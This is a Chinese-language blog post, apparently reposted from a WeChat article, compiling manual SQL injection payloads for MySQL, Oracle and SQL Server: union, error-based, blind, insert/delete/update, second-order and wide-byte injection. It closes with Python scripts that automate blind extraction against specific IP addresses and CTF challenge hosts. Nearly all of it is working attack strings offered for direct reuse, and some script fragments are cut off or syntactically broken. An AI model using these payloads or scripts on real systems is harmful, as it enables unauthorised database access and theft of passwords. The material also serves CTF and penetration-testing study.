SQL手注常用的语句,在这里记录一下方便后续直接用了
一大早看见一个公众号的推文,SQL手注总结的不错,抄过来记录一下,以后遇到直接来取了直接用了
0x01 Mysql 手工注入
1.1 联合注入
Copy?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+1.2 报错注入
Copy1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));每个一个报错语句都有它的原理：
exp() 报错的原理：exp 是一个数学函数，取e的x次方，当我们输入的值大于709就会报错，然后 ~ 取反它的值总会大于709，所以报错。
updatexml() 报错的原理：由于 updatexml 的第二个参数需要 Xpath 格式的字符串，以 ~ 开头的内容不是 xml 格式的语法，concat() 函数为字符串连接函数显然不符合规则，但是会将括号内的执行结果以错误的形式报出，这样就可以实现报错注入了。
Copy爆库：?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表：?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段：?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据：?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)这里需要注意的是它加了连接字符，导致数据中的 md5 只能爆出 31 位，这里可以用分割函数分割出来：
Copysubstr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +1.3 盲注
1.3.1 时间盲注
时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)
一般时间盲注我们还需要使用条件判断函数
Copy#if（expre1，expre2，expre3）
当 expre1 为 true 时，返回 expre2，false 时，返回 expre3
#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left我们一般喜欢把分割的函数编码一下，当然不编码也行，编码的好处就是可以不用引号，常用到的就有 ascii() hex() 等等
Copy?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+1.3.2 布尔盲注
Copy?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL，则返回第二个参数的备用值，不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同，STRCMP() 返回 0，若根据当前分类次序，第一个参数小于第二个，则返回 -1 ，其它情况返回 11.4 insert,delete,update
insert,delete,update 主要是用到盲注和报错注入，此类注入点不建议使用 sqlmap 等工具，会造成大量垃圾数据，一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现，我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行，然后如果插入失败，更新失败，然后深入测试确定是否存在注入
1.4.1 报错
Copymysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险，很危险，很危险，切记不能使用 or 1=1 ，or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'1.4.2 盲注
Copy#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 01.5 二次注入与宽字节注入
二次注入的语句：在没有被单引号包裹的sql语句下，我们可以用16进制编码他，这样就不会带有单引号等。
Copymysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'--+ | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)二次注入在没有源码的情况比较难发现，通常见于注册，登录恶意账户后，数据库可能会因为恶意账户名的问题，将 admin’–+ 误认为 admin 账户
宽字节注入：针对目标做了一定的防护，单引号转变为 \' , mysql 会将 \ 编码为 %5c ，宽字节中两个字节代表一个汉字，所以把 %df 加上 %5c 就变成了一个汉字“運”，使用这种方法成功绕过转义，就是所谓的宽字节注入
Copyid=-1%df' union select...
#没使用宽字节
%27 -> %5C%27
#使用宽字节
%df%27 -> %df%5c%27 -> 運'0x02 Oracle 手工注入
2.1 联合注入
Copy?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--2.2 报错注入
Copy?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--2.3 盲注
2.3.1 布尔盲注
既然是盲注，那么肯定涉及到条件判断语句，Oracle除了使用IF the else end if这种复杂的，还可以使用 decode() 函数。
语法：decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);
该函数的含义如下：
CopyIF 条件=值1 THEN
RETURN(返回值1)
ELSIF 条件=值2 THEN
RETURN(返回值2)
......
ELSIF 条件=值n THEN
RETURN(返回值n)
ELSE
RETURN(缺省值)
END IF
Copy?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64-- #二分法2.3.2 时间盲注
可使用DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注，这个函数可以指定延迟的时间
Copy?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--0x03 SQL server 手工注入
3.1 联合注入
Copy?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--3.2 报错注入
Copy?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--3.3 盲注
3.3.1 布尔盲注
Copy?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--3.3.2 时间盲注
Copy?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--0x04 SQL注入常用的脚本
XFF时间盲注二分法
import requests
url="http://49.235.141.207:25501/test_sql/sql_ip_insert/"
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
p1="127.0.0.1' and (case when ascii(substr((select flag from flag) from {} for 1))>{} then sleep(3) else 0 end) and '1".format(str(i),str(mid))
p2="127.0.0.1' and (case when ascii(substr((select flag from flag) from {} for 1))={} then sleep(3) else 0 end) and '1".format(str(i),str(mid))
headers1={'X-Forwarded-For':p1}
headers2={'X-Forwarded-For':p2}
try:
print(i,mid)
r1=requests.get(url,headers=headers2,timeout=3)
except requests.exceptions.ReadTimeout as e:
flag+=chr(mid)
print(flag)
break
except Exception as e:
pass
else:
try:
r2=requests.get(url,headers=headers1,timeout=3)
except requests.exceptions.ReadTimeout as e:
low=mid+1
except Exception as e:
pass
else:
top=mid-1
if flag==f1:
break二分法时间盲注
import requests
url="http://e2237b8f-0ea4-4294-bbe7-007af8f88f8b.node3.buuoj.cn/register.php"
flag=''
proxies={
"http":"127.0.0.1:8080"
}
for i in range(1,50):
f1=flag
top=127
low=33
# print(1)
while low<=top:
mid=(top+low)//2
p1="aaaaa' || (case when ascii(substr((select*from flag) from {} for 1))>{} then sleep(3) else 0 end) || 'aaa".format(i,mid)
p2="aaaaa' || (case when ascii(substr((select*from flag) from {} for 1))={} then sleep(3) else 0 end) || 'aaa".format(i,mid)
data1={'email':'basb@qq.com','username':p1,'password':'1234'}
data2={'email':'basb@qq.com','username':p2,'password':'1234'}
try:
print(i,mid)
r1=requests.post(url,data=data2,timeout=3,proxies=proxies)
except requests.exceptions.ReadTimeout as e:
flag+=chr(mid)
print(flag)
break
except Exception as e:
pass
else:
try:
r2=requests.post(url,data=data1,timeout=3,proxies=proxies)
except requests.exceptions.ReadTimeout as e:
low=mid+1
except Exception as e:
pass
else:
top=mid-1
if flag==f1:
break二分法盲注
import requests
url="http://116.63.149.36:50048/file_id.php?id="
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
# data={'id':'if(ascii(substr((select(flag)from(flag)),{},1))>{},1,0)'.format(str(i),str(mid))}
# data1={'id':'if(ascii(substr((select(flag)from(flag)),{},1))={},1,0)'.format(str(i),str(mid))}
data='if(ascii(substr((select(flag)from(flag)),{},1))>{},1,0)'.format(str(i),str(mid))
data1='if(ascii(substr((select(flag)from(flag)),{},1))={},1,0)'.format(str(i),str(mid))
try:
r1=requests.post(url+data1)
print(i,mid)
if 'glzjin' in r1.text:
flag+=chr(mid)
print(flag)
break
r=requests.post(url+data)
if "Error" in r.text:
top=mid-1
if 'glzjin' in r.text:
low=mid+1
except Exception as e:
pass
if flag==f1:
break时间盲注
import requests
url = 'http://139.199.182.61/index.php?id=1%27'
lendata=7
# for i in range(1, 50):
# try:
# payload1 = '/**/and/**/if(length(database())={},sleep(3),1)%23'.format(i)
# r = requests.get(url + payload1, timeout=3)
# except requests.exceptions.ReadTimeout as e:
# lendata = i
# print("数据库长度为"+str(i))
# break
databases=['easysql']
# database=""
# for j in range(1,lendata+1):
# for k in range(33,127):
# payload2 = '/**/and/**/if(ascii(substr(database(),{},1))={},sleep(3),1)%23'.format(j, k)
# print(payload2)
# try:
# r=requests.get(url+payload2,timeout=3)
# except requests.exceptions.ReadTimeout as e:
# database+=chr(k)
# print(database)
# break
# except Exception as w:
# pass
# database=''
# databases=[]
# for k in range(0, 10):
# flag1=len(databases)
# for i in range(1,50):
# flag=database
# for j in range(33,127):
# payload3='/**/and/**/if(ascii(substr((selselectect/**/schema_name/**/from/**/information_schema.schemata/**/limit/**/{},1),{},1))={},sleep(3),1)%23'.format(k , i, j)
# try:
# print(payload3)
# r=requests.get(url+payload3,timeout=3)
# except requests.exceptions.ReadTimeout as e:
# database+=chr(j)
# print(database)
# break
# except Exception as w:
# pass
# if flag==database:
# break
# databases.append(database)
# if flag1==len(databases):
# break
# print(databases)
tables=['f1aggggggggggggg']
# table=''
# # tables=['users']
# for k in range(0, 10):
# flag1=len(tables)
# for i in range(1,50):
# flag=table
# for j in range(33,127):
# payload3='/**/and/**/if(ascii(substr((selselectect/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/{},1),{},1))={},sleep(3),1)%23'.format(k , i, j)
# try:
# print(payload3)
# r=requests.get(url+payload3,timeout=3)
# except requests.exceptions.ReadTimeout as e:
# table+=chr(j)
# print(table)
# break
# except Exception as w:
# pass
# if flag==table:
# tables.append(table)
# table=""
# break
# if len(tables)=flag1
# break
# print(tables)
columns=['fl4444444g']
# column=''
# for te in tables:
# for k in range(0,5):
# flag1=len(columns)
# for i in range(1,50):
# flag=column
# for j in range(33,127):
# payload4='/**/and/**/if(ascii(substr((seselectlect/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name="{}" limit/**/{},1),{},1))={},sleep(3),1)%23'.format(te,k,i,j)
# try:
# r=requests.get(url+payload4,timeout=3)
# print(payload4)
# except requests.exceptions.ReadTimeout as e:
# column+=chr(j)
# print(column)
# break
# except Exception as w:
# pass
# if flag==column:
# columns.append(column)
# column=''
# break
# if len(columns)=flag1:
# break;
# print(columns)
# data=''
# for db in databases:
# for ta in tables:
# for co in columns:
# for k in range(0,10):
# for i in range(1,50):
# flag=data
# for j in range(33,127):
# payload5='/**/and/**/if(ascii(substring((seselectlect/**/{}/**/from/**/{}.{}/**/limit/**/{},1),{},1))={},sleep(3),1)%23'.format(co,db,ta,k,i,j)
# try:
# r=requests.get(url+payload5,timeout=3)
# print(payload5)
# except requests.exceptions.ReadTimeout as e:
# data+=chr(j)
# print(data)
# break
# except Exception as w:
# pass
# if flag==data:
# data=''
# brea其他
import requests
s=requests.session()
url='https://46a0f98e-cdc3-413d-b67c-b2dbaeb5c4ec.chall.ctf.show/index.php'
table=""
for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
breakimport requests
url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url): #爆库名
for i in range(1,5):
for j in range(32,128):
u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
print(chr(j))
def table(url): #爆表名
for i in range(4):
table_name=''
for j in range(1,6):
for k in range(48,128):
u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
table_name+=chr(k)
print(table_name)
